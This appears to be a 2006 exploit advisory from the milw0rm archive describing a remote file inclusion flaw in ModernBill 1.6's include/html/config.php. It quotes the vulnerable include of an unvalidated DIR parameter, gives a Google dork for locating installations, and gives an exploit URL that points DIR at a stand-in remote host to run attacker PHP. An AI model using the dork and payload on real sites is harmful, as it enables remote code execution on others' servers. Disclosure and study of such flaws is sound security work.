ModernBill 1.6 - 'config.php' Remote File Inclusion

#############################SolpotCrew Community################################
#
# modernbill ver 1.6 (DIR) Remote File Inclusion
#
# Download file : http://freshmeat.net/projects/modernbill/
#
#################################################################################
#
#
# Bug Found By :Solpot a.k.a (k. Hasibuan) (03-08-2006)
#
# contact: [email protected]
#
# Website : http://www.solpotcrew.org/adv/solpot-adv-04.txt
#
################################################################################
#
#
# Greetz: choi , cow_1seng , Ibnusina , Lappet_tutung , h4ntu , r4dja ,
# L0sTBoy , Matdhule , setiawan , barbarosa, NpR , Fungky , Blue|spy
# home_edition2001 , Rendy ,Tje , m3lky , no-profile , bYu
# and all crew #mardongan @ irc.dal.net
#
#
###############################################################################
Input passed to the "DIR" is not properly verified
before being used to include files. This can be exploited to execute
arbitrary PHP code by including files from local or external resources.

code from include/html/config.php

//include($DIR."include/misc/mod_sessions/session_functions.inc.php");
#session_set_save_handler("sess_mysql_open","","sess_mysql_read","sess_mysql_write","sess_mysql_destroy","sess_mysql_gc");
//session_start();
session_register("set_language");
session_register("v");
$new_language = ($set_language) ? $set_language : NULL ;
$signup_form = TRUE;
include_once($DIR."include/functions.inc.php");
## ------------------------------------------------------
## DO NOT CHANGE STOP
## ------------------------------------------------------

google dork : allinurl:/modernbill/

exploit: http://somehost/modernbill/include/html/config.php?DIR=http://evilcode

##############################MY LOVE JUST FOR U RIE#########################
######################################E.O.F##################################

# milw0rm.com [2006-08-07]